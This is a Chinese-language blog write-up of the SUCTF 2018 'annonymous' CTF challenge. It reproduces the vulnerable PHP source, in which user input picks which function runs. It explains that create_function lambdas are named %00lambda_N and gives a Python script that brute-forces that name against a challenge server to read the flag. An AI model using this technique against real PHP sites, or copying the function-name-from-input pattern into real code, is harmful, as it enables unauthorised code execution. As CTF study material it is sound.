create_function匿名函数也有名字

本文最后更新于:2023年8月25日 下午

[TOC]

[SUCTF 2018]annonymous(

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php

$MY = create_function("","die(`cat flag.php`);");
$hash = bin2hex(openssl_random_pseudo_bytes(32));
eval("function SUCTF_$hash(){"
."global \$MY;"
."\$MY();"
."}");
if(isset($_GET['func_name'])){
$_GET["func_name"]();
die();
}
show_source(__FILE__);

看到了create_function()函数,还以为是代码注入,但这里不是,这里需要知道匿名函数也是有名字的

create_function()函数也是有名字的,名字是 %00lambda_%d,其中%d代表它是进程中第几个匿名函数

我们可以爆破一下

这里我们本地测试一下:

1
2
3
4
5
6
7
8
<?php

$MY = create_function("","die(`cat flag.php`);");
$MY2 = create_function("","die(`cat flag.php`);");
echo urlencode($MY2);

输出:
%00lambda_2

因此,我们直接写脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
import requests

url = "http://7897d5fe-1f82-474b-9acd-8e066fcbfbd5.node4.buuoj.cn:81/?func_name=%00lambda_"
i=0
while True:
i+=1
payload=url+str(i)
text = requests.get(url=payload).text
if "{" in text:
print(text)
break
print("waiting~~")

匿名函数名字%00lambda_%d


create_function匿名函数也有名字
https://leekosss.github.io/2023/08/24/create_function匿名函数也有名字/
作者
leekos
发布于
2023年8月24日
更新于
2023年8月25日
许可协议